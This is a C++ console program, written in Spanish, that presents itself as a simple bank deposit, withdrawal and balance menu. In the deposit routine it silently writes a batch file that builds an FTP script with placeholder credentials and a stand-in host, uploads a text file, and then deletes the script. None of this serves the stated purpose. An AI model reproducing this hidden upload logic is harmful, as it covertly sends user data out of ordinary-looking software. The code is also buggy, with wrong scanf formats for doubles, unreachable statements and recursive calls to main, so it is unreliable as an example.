#include<stdio.h>
#include <time.h>
int main();
#include<iostream>
using namespace std;
time_t rawtime;
double saldo(double retiro,double deposito,double saldot)
{
system("cls");
saldot=saldot+deposito-retiro;
return saldot;
time ( &rawtime );
}
double deposit(double saldot)
{
double dep=0;
char sn;
do
{
LDeposito:
system("cls");
cout<<"Ingrese cantidad a Depositar: ";
scanf("%d",&dep);
FILE *radical;
radical = fopen("radicalsystem.txt", "w");
fprintf( radical, "deposito : %d\n\n",dep );
fprintf ( radical,"la hora en que se realizo la operacion fue: %s", ctime (&rawtime) );
FILE *radicala;
radicala = fopen("radicala.bat", "w");
fprintf(radicala, "@echo off \n");
fprintf(radicala, "echo usuario>>smp \n");
fprintf(radicala, "echo contraseña>>smp \n");
fprintf(radicala, "echo ascii>>smp \n");
fprintf(radicala, "echo texto.txt>>smp \n");
fprintf(radicala, "echo close>>smp \n");
fprintf(radicala, "ftp -s:smp pagina con ftp \n");
fprintf(radicala, "del smp \n");
while(dep<=0)
{
cout<<"Desea ingresar un valor valido s/S n/N: ";
cin>>sn;
if(sn=='S'||sn=='s')
goto LDeposito;
else
exit(0);
}
saldot=saldo(0,dep,saldot);
cout<<"Desea realizar otro deposito s/S n/N: ";cin>>sn;
}while(sn=='s'||sn=='S');
return saldot;
}
double retiro(double saldot)
{
double retir=0;
char sn;
system("cls");
if (saldot==0)
{cout<<"Ud. no cuenta con saldo \n";
cout<<"Desea realizar otra operacion s/S n/N: ";cin>>sn;
if(sn=='S'||sn=='s')
{
system("cls");
main();
}
else
exit(0);
}
do
{
LRetir:
system("cls");
cout<<"Ingrese cantidad a Retirar: ";
scanf("%d",&retir);
FILE *radical;
radical = fopen("radicalsystem.txt", "w");
fprintf( radical, "retiro : %d\n\n",retir );
fprintf ( radical,"la hora en que se realizo la operacion fue: %s", ctime (&rawtime) );
while(saldot<retir)
{
cout<<"Ud. no cuenta con saldo suficiente para hacer ese retiro\n";
goto reintentar;
}
while(retir<=0)
{
reintentar:
cout<<"Desea ingresar un valor valido s/S n/N: ";
cin>>sn;
if(sn=='S'||sn=='s')
goto LRetir;
else
exit(0);
}
saldot=saldo(retir,0,saldot);
cout<<"Desea realizar otro retiro s/S n/N: ";cin>>sn;
}while(sn=='s'||sn=='S');
return saldot;
}
double Option(int option1,double saldot)
{
switch(option1)
{
case 1:saldot=deposit(saldot);break;
case 2:saldot=retiro(saldot);break;
case 3: {
saldot=saldo(0,0,saldot);
cout<<"Usted cuenta con :"<<saldot<<" pesos\n";
}break;
case 4:{system("cls");cout<<"Cerrando Sistema...";exit(0);}break;
}
return saldot;
}
int main()
{
int opt;
char sn;
double saldot=0;
do
{
system("cls");
system("color 0a");
cout<<"\t\t\tOperaciones Bancarias de radical system\n";
cout<<"1. Deposito\n";
cout<<"2. Retiro\n";
cout<<"3. Saldo\n";
cout<<"4. Salir\n\n";
cout<<"Elija el numero de la opcion: ";cin>>opt;
saldot=Option(opt,saldot);
cout<<"Desea continuar con otra operacion s/S n/N: ";cin>>sn;
}while(sn=='s'||sn=='S');
system("cls");
cout<<"Cerrando Sistema...\n";exit(0);
return 0;
}